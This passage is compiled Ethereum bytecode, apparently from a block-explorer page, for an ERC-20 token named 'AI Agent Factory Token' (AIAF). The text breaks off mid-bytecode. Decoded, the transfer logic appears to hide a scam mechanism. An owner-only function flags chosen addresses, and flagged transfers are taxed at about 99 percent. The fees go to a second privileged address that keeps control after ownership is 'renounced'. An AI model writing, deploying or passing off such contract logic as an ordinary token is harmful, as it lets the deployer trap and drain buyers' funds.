4a9190611f57565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ec5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebc9061248b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2a906124f3565b60405180910390fd5b5f8111610f75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6c9061255b565b60405180910390fd5b60011515600e60149054906101000a900460ff16151514610fcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc2906125e9565b60405180910390fd5b6110f060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611038573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061105c919061261b565b3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110c7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110eb919061261b565b6119b5565b600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f7f548d3f2e7522d3709df56a8f5f2247bfeaded62a63ce998c08d3159da38fbd708360405161115f919061202e565b60405180910390a17f548d3f2e7522d3709df56a8f5f2247bfeaded62a63ce998c08d3159da38fbd7084604051611196919061202e565b60405180910390a17f9f65c0d0cc1655c261b06f98571b0702238a4dd3dfb594e0aca5b88f1c9d9ddf600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516111ee919061202e565b60405180910390a16111ff846106b0565b1580156112125750611210836106b0565b155b156116bc576112536064611245600b54600d541161123257600754611236565b6009545b85611a2490919063ffffffff16565b611a9b90919063ffffffff16565b9050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361137057600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611352575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561136f57600d5f81548092919061136990612673565b91905055505b5b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116bb57600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561144c57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156116ba577fd940d72d6b1f5048ab6b07f26ce72b904b11d18043107ff6c828f30ae6eaaa3a60405161147e90612704565b60405180910390a17f6b3a459bbff4d48c0abbf9a04fc4b361ba64888d2f0a9227cd50e7fb959b3bc660055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166040516114fe9190611f2f565b60405180910390a17f6b3a459bbff4d48c0abbf9a04fc4b361ba64888d2f0a9227cd50e7fb959b3bc660055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660405161157e9190611f2f565b60405180910390a16116b760646116a9600c54600d54116115a1576008546115a5565b600a545b6001151560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515148061164e57506001151560055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515145b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1687611ae4909392919063ffffffff16565b611a9b90919063ffffffff16565b90505b5b5b7f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf816040516116eb9190611f57565b60405180910390a15f81111561179b576117528160035f61170a610a3b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bc590919063ffffffff16565b60035f61175d610a3b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b6117eb8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c2290919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061188e6118428284611c2290919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bc590919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119318486611c2290919063ffffffff16565b60405161193e9190611f57565b60405180910390a350505050565b5f33905090565b5f83831115829061199a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119919190611dc4565b60405180910390fd5b505f83856119a89190612722565b9050809150509392505050565b5f805f6119c28585611c6b565b915091508582826040516020016119da92919061279a565b60405160208183030381529060405280519060200120604051602001611a0192919061288c565b604051602081830303815290604052805190602001205f1c925050509392505050565b5f808303611a34575f9050611a95565b5f8284611a4191906128cd565b9050828482611a50919061293b565b14611a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a87906129db565b60405180910390fd5b809150505b92915050565b5f611adc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611cf3565b905092915050565b5f808503611af4575f9050611bbd565b5f8486611b0191906128cd565b9050848682611b10919061293b565b14611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b47906129db565b60405180910390fd5b7f92be275972f0a4f892351c7d805d62f91b06cd8f5cb39d1e2fd5c3b939b9765884604051611b7f9190611f2f565b60405180910390a1600115158315151480611b9e575060011515841515145b15611bb857606381611bb091906128cd565b915050611bbd565b809150505b949350505050565b5f808284611bd391906129f9565b905083811015611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f90612a76565b60405180910390fd5b8091505092915050565b5f611c6383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611953565b905092915050565b5f808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161115611cac57828491509150611cec565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161015611ceb57838391509150611cec565b5b9250929050565b5f8083118290611d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d309190611dc4565b60405180910390fd5b505f8385611d47919061293b565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611d9682611d54565b611da08185611d5e565b9350611db0818560208601611d6e565b611db981611d7c565b840191505092915050565b5f6020820190508181035f830152611ddc8184611d8c565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f8115159050919050565b611e0981611df5565b8114611e13575f80fd5b50565b5f81359050611e2481611e00565b92915050565b5f60208284031215611e3f57611e3e611ded565b5b5f611e4c84828501611e16565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611e7e82611e55565b9050919050565b611e8e81611e74565b8114611e98575f80fd5b50565b5f81359050611ea981611e85565b92915050565b5f819050919050565b611ec181611eaf565b8114611ecb575f80fd5b50565b5f81359050611edc81611eb8565b92915050565b5f8060408385031215611ef857611ef7611ded565b5b5f611f0585828601611e9b565b9250506020611f1685828601611ece565b9150509250929050565b611f2981611df5565b82525050565b5f602082019050611f425f830184611f20565b92915050565b611f5181611eaf565b82525050565b5f602082019050611f6a5f830184611f48565b92915050565b5f60208284031215611f8557611f84611ded565b5b5f611f9284828501611e9b565b91505092915050565b5f805f60608486031215611fb257611fb1611ded565b5b5f611fbf86828701611e9b565b9350506020611fd086828701611e9b565b9250506040611fe186828701611ece565b9150509250925092565b5f60ff82169050919050565b61200081611feb565b82525050565b5f6020820190506120195f830184611ff7565b92915050565b61202881611e74565b82525050565b5f6020820190506120415f83018461201f565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61208182611d7c565b810181811067ffffffffffffffff821117156120a05761209f61204b565b5b80604052505050565b5f6120b2611de4565b90506120be8282612078565b919050565b5f67ffffffffffffffff8211156120dd576120dc61204b565b5b602082029050602081019050919050565b5f80fd5b5f6121046120ff846120c3565b6120a9565b90508083825260208201905060208402830185811115612127576121266120ee565b5b835b81811015612150578061213c8882611e9b565b845260208401935050602081019050612129565b5050509392505050565b5f82601f83011261216e5761216d612047565b5b813561217e8482602086016120f2565b91505092915050565b5f6020828403121561219c5761219b611ded565b5b5f82013567ffffffffffffffff8111156121b9576121b8611df1565b5b6121c58482850161215a565b91505092915050565b5f80604083850312156121e4576121e3611ded565b5b5f6121f185828601611e9b565b925050602061220285828601611e9b565b9150509250929050565b7f6e656564206265206f00000000000000000000000000000000000000000000005f82015250565b5f612240600983611d5e565b915061224b8261220c565b602082019050919050565b5f6020820190508181035f83015261226d81612234565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6122a8602083611d5e565b91506122b382612274565b602082019050919050565b5f6020820190508181035f8301526122d58161229c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61233d601783611d5e565b915061234882612309565b602082019050919050565b5f6020820190508181035f83015261236a81612331565b9050919050565b7f45524332303a20617070726f76650000000000000000000000000000000000005f82015250565b5f6123a5600e83611d5e565b91506123b082612371565b602082019050919050565b5f6020820190508181035f8301526123d281612399565b9050919050565b7f45524332303a20617070000000000000000000000000000000000000000000005f82015250565b5f61240d600a83611d5e565b9150612418826123d9565b602082019050919050565b5f6020820190508181035f83015261243a81612401565b9050919050565b7f45524332303a207472616e736665722066726f6d2073000000000000000000005f82015250565b5f612475601683611d5e565b915061248082612441565b602082019050919050565b5f6020820190508181035f8301526124a281612469565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65000000000000005f82015250565b5f6124dd601983611d5e565b91506124e8826124a9565b602082019050919050565b5f6020820190508181035f83015261250a816124d1565b9050919050565b7f5472616e7366657220616d6f756e7400000000000000000000000000000000005f82015250565b5f612545600f83611d5e565b915061255082612511565b602082019050919050565b5f6020820190508181035f83015261257281612539565b9050919050565b7f53776170206973206e6f74206f70656e207965742e20506c65617365207761695f8201527f742e000000000000000000000000000000000000000000000000000000000000602082015250565b5f6125d3602283611d5e565b91506125de82612579565b604082019050919050565b5f6020820190508181035f830152612600816125c7565b9050919050565b5f8151905061261581611e85565b92915050565b5f602082840312156126305761262f611ded565b5b5f61263d84828501612607565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61267d82611eaf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036126af576126ae612646565b5b600182019050919050565b7f68657265000000000000000000000000000000000000000000000000000000005f82015250565b5f6126ee600483611d5e565b91506126f9826126ba565b602082019050919050565b5f6020820190508181035f83015261271b816126e2565b9050919050565b5f61272c82611eaf565b915061273783611eaf565b925082820390508181111561274f5761274e612646565b5b92915050565b5f8160601b9050919050565b5f61276b82612755565b9050919050565b5f61277c82612761565b9050919050565b61279461278f82611e74565b612772565b82525050565b5f6127a58285612783565b6014820191506127b58284612783565b6014820191508190509392505050565b5f81905092915050565b7fff000000000000000000000000000000000000000000000000000000000000005f82015250565b5f6128036001836127c5565b915061280e826127cf565b600182019050919050565b5f819050919050565b5f819050919050565b61283c61283782612819565b612822565b82525050565b7f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f5f82015250565b5f6128766020836127c5565b915061288182612842565b602082019050919050565b5f612896826127f7565b91506128a28285612783565b6014820191506128b2828461282b565b6020820191506128c18261286a565b91508190509392505050565b5f6128d782611eaf565b91506128e283611eaf565b92508282026128f081611eaf565b9150828204841483151761290757612906612646565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61294582611eaf565b915061295083611eaf565b9250826129605761295f61290e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6129c5602183611d5e565b91506129d08261296b565b604082019050919050565b5f6020820190508181035f8301526129f2816129b9565b9050919050565b5f612a0382611eaf565b9150612a0e83611eaf565b9250828201905080821115612a2657612a25612646565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612a60601b83611d5e565b9150612a6b82612a2c565b602082019050919050565b5f6020820190508181035f830152612a8d81612a54565b905091905056fea264697066735822122013637e27573435b0dbef8d91cd12b73d9a0932f9bc78839f59d788297835f42a64736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061010c575f3560e01c8063715018a611610094578063b634b8e511610063578063b634b8e51461038f578063be129cb6146103b9578063c4998d88146103e3578063c9567bf91461040b578063dd62ed3e1461042157610113565b8063715018a6146102e95780637a6ce2e1146102ff57806395d89b4114610329578063a9059cbb1461035357610113565b80631e3918ca116100db5780631e3918ca146101cf57806323b872dd1461020b578063313ce56714610247578063666e1b391461027157806370a08231146102ad57610113565b806306fdde03146101175780630723f11914610141578063095ea7b31461016957806318160ddd146101a557610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b61045d565b6040516101389190611dc4565b60405180910390f35b34801561014c575f80fd5b5061016760048036038101906101629190611e2a565b61049a565b005b348015610174575f80fd5b5061018f600480360381019061018a9190611ee2565b610539565b60405161019c9190611f2f565b60405180910390f35b3480156101b0575f80fd5b506101b9610556565b6040516101c69190611f57565b60405180910390f35b3480156101da575f80fd5b506101f560048036038101906101f09190611f70565b610565565b6040516102029190611f2f565b60405180910390f35b348015610216575f80fd5b50610231600480360381019061022c9190611f9b565b6105b7565b60405161023e9190611f2f565b60405180910390f35b348015610252575f80fd5b5061025b6106a8565b6040516102689190612006565b60405180910390f35b34801561027c575f80fd5b5061029760048036038101906102929190611f70565b6106b0565b6040516102a49190611f2f565b60405180910390f35b3480156102b8575f80fd5b506102d360048036038101906102ce9190611f70565b61075e565b6040516102e09190611f57565b60405180910390f35b3480156102f4575f80fd5b506102fd6107a4565b005b34801561030a575f80fd5b50610313610950565b604051610320919061202e565b60405180910390f35b348015610334575f80fd5b5061033d6109e1565b60405161034a9190611dc4565b60405180910390f35b34801561035e575f80fd5b5061037960048036038101906103749190611ee2565b610a1e565b6040516103869190611f2f565b60405180910390f35b34801561039a575f80fd5b506103a3610a3b565b6040516103b0919061202e565b60405180910390f35b3480156103c4575f80fd5b506103cd610a63565b6040516103da919061202e565b60405180910390f35b3480156103ee575f80fd5b5061040960048036038101906104049190612187565b610a8a565b005b348015610416575f80fd5b5061041f610b5d565b005b34801561042c575f80fd5b50610447600480360381019061044291906121ce565b610c12565b6040516104549190611f57565b60405180910390f35b60606040518060400160405280601681526020017f4149204167656e7420466163746f727920546f6b656e00000000000000000000815250905090565b6104a3336106b0565b6104e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d990612256565b60405180910390fd5b8060065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f61054c610545610950565b8484610c94565b6001905092915050565b5f67016345785d8a0000905090565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f6105c3848484610e57565b61069d846105cf61194c565b610698856040518060400160405280601681526020017f45524332303a207472616e7366657220616d6f756e740000000000000000000081525060045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61064f61194c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119539092919063ffffffff16565b610c94565b600190509392505050565b5f6009905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480610757575060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107ac61194c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610857575061080761194c565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088d906122be565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099161194c565b73ffffffffffffffffffffffffffffffffffffffff16036109d3575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506109de565b6109db61194c565b90505b90565b60606040518060400160405280600481526020017f4149414600000000000000000000000000000000000000000000000000000000815250905090565b5f610a31610a2a61194c565b8484610e57565b6001905092915050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a93336106b0565b610ad2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac990612256565b60405180910390fd5b5f5b8151811015610b5957600160055f848481518110610af557610af46122dc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610ad4565b5050565b610b66336106b0565b610ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9c90612256565b60405180910390fd5b600e60149054906101000a900460ff1615610bf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bec90612353565b60405180910390fd5b6001600e60146101000a81548160ff021916908315150217905550565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf9906123bb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6790612423565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e4a9190611f57565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ec5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebc9061248b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2a906124f3565b60405180910390fd5b5f8111610f75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6c9061255b565b60405180910390fd5b60011515600e60149054906101000a900460ff16151514610fcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc2906125e9565b60405180910390fd5b6110f060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611038573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061105c919061261b565b3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110c7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110eb919061261b565b6119b5565b600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f7f548d3f2e7522d3709df56a8f5f2247bfeaded62a63ce998c08d3159da38fbd708360405161115f919061202e565b60405180910390a17f548d3f2e7522d3709df56a8f5f2247bfeaded62a63ce998c08d3159da38fbd7084604051611196919061202e565b60405180910390a17f9f65c0d0cc1655c261b06f98571b0702238a4dd3dfb594e0aca5b88f1c9d9ddf600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516111ee919061202e565b60405180910390a16111ff846106b0565b1580156112125750611210836106b0565b155b156116bc576112536064611245600b54600d541161123257600754611236565b6009545b85611a2490919063ffffffff16565b611a9b90919063ffffffff16565b9050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361137057600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611352575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561136f57600d5f81548092919061136990612673565b91905055505b5b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116bb57600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561144c57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156116ba577fd940d72d6b1f5048ab6b07f26ce72b904b11d18043107ff6c828f30ae6eaaa3a60405161147e90612704565b60405180910390a17f6b3a459bbff4d48c0abbf9a04fc4b361ba64888d2f0a9227cd50e7fb959b3bc660055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166040516114fe9190611f2f565b60405180910390a17f6b3a459bbff4d48c0abbf9a04fc4b361ba64888d2f0a9227cd50e7fb959b3bc660055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660405161157e9190611f2f565b60405180910390a16116b760646116a9600c54600d54116115a1576008546115a5565b600a545b6001151560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515148061164e57506001151560055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515145b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1687611ae4909392919063ffffffff16565b611a9b90919063ffffffff16565b90505b5b5b7f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf816040516116eb9190611f57565b60405180910390a15f81111561179b576117528160035f61170a610a3b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bc590919063ffffffff16565b60035f61175d610a3b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b6117eb8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c2290919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061188e6118428284611c2290919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bc590919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119318486611c2290919063ffffffff16565b60405161193e9190611f57565b60405180910390a350505050565b5f33905090565b5f83831115829061199a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119919190611dc4565b60405180910390fd5b505f83856119a89190612722565b9050809150509392505050565b5f805f6119c28585611c6b565b915091508582826040516020016119da92919061279a565b60405160208183030381529060405280519060200120604051602001611a0192919061288c565b604051602081830303815290604052805190602001205f1c925050509392505050565b5f808303611a34575f9050611a95565b5f8284611a4191906128cd565b9050828482611a50919061293b565b14611a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a87906129db565b60405180910390fd5b809150505b92915050565b5f611adc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611cf3565b905092915050565b5f808503611af4575f9050611bbd565b5f8486611b0191906128cd565b9050848682611b10919061293b565b14611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b47906129db565b60405180910390fd5b7f92be275972f0a4f892351c7d805d62f91b06cd8f5cb39d1e2fd5c3b939b9765884604051611b7f9190611f2f565b60405180910390a1600115158315151480611b9e575060011515841515145b15611bb857606381611bb091906128cd565b915050611bbd565b809150505b949350505050565b5f808284611bd391906129f9565b905083811015611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f90612a76565b60405180910390fd5b8091505092915050565b5f611c6383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611953565b905092915050565b5f808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161115611cac57828491509150611cec565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161015611ceb57838391509150611cec565b5b9250929050565b5f8083118290611d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d309190611dc4565b60405180910390fd5b505f8385611d47919061293b565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611d9682611d54565b611da08185611d5e565b9350611db0818560208601611d6e565b611db981611d7c565b840191505092915050565b5f6020820190508181035f830152611ddc8184611d8c565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f8115159050919050565b611e0981611df5565b8114611e13575f80fd5b50565b5f81359050611e2481611e00565b92915050565b5f60208284031215611e3f57611e3e611ded565b5b5f611e4c84828501611e16565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611e7e82611e55565b9050919050565b611e8e81611e74565b8114611e98575f80fd5b50565b5f81359050611ea981611e85565b92915050565b5f819050919050565b611ec181611eaf565b8114611ecb575f80fd5b50565b5f81359050611edc81611eb8565b92915050565b5f8060408385031215611ef857611ef7611ded565b5b5f611f0585828601611e9b565b9250506020611f1685828601611ece565b9150509250929050565b611f2981611df5565b82525050565b5f602082019050611f425f830184611f20565b92915050565b611f5181611eaf565b82525050565b5f602082019050611f6a5f830184611f48565b92915050565b5f60208284031215611f8557611f84611ded565b5b5f611f9284828501611e9b565b91505092915050565b5f805f60608486031215611fb257611fb1611ded565b5b5f611fbf86828701611e9b565b9350506020611fd086828701611e9b565b9250506040611fe186828701611ece565b9150509250925092565b5f60ff82169050919050565b61200081611feb565b82525050565b5f6020820190506120195f830184611ff7565b92915050565b61202881611e74565b82525050565b5f6020820190506120415f83018461201f565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61208182611d7c565b810181811067ffffffffffffffff821117156120a05761209f61204b565b5b80604052505050565b5f6120b2611de4565b90506120be8282612078565b919050565b5f67ffffffffffffffff8211156120dd576120dc61204b565b5b602082029050602081019050919050565b5f80fd5b5f6121046120ff846120c3565b6120a9565b9050808382526020820190506020840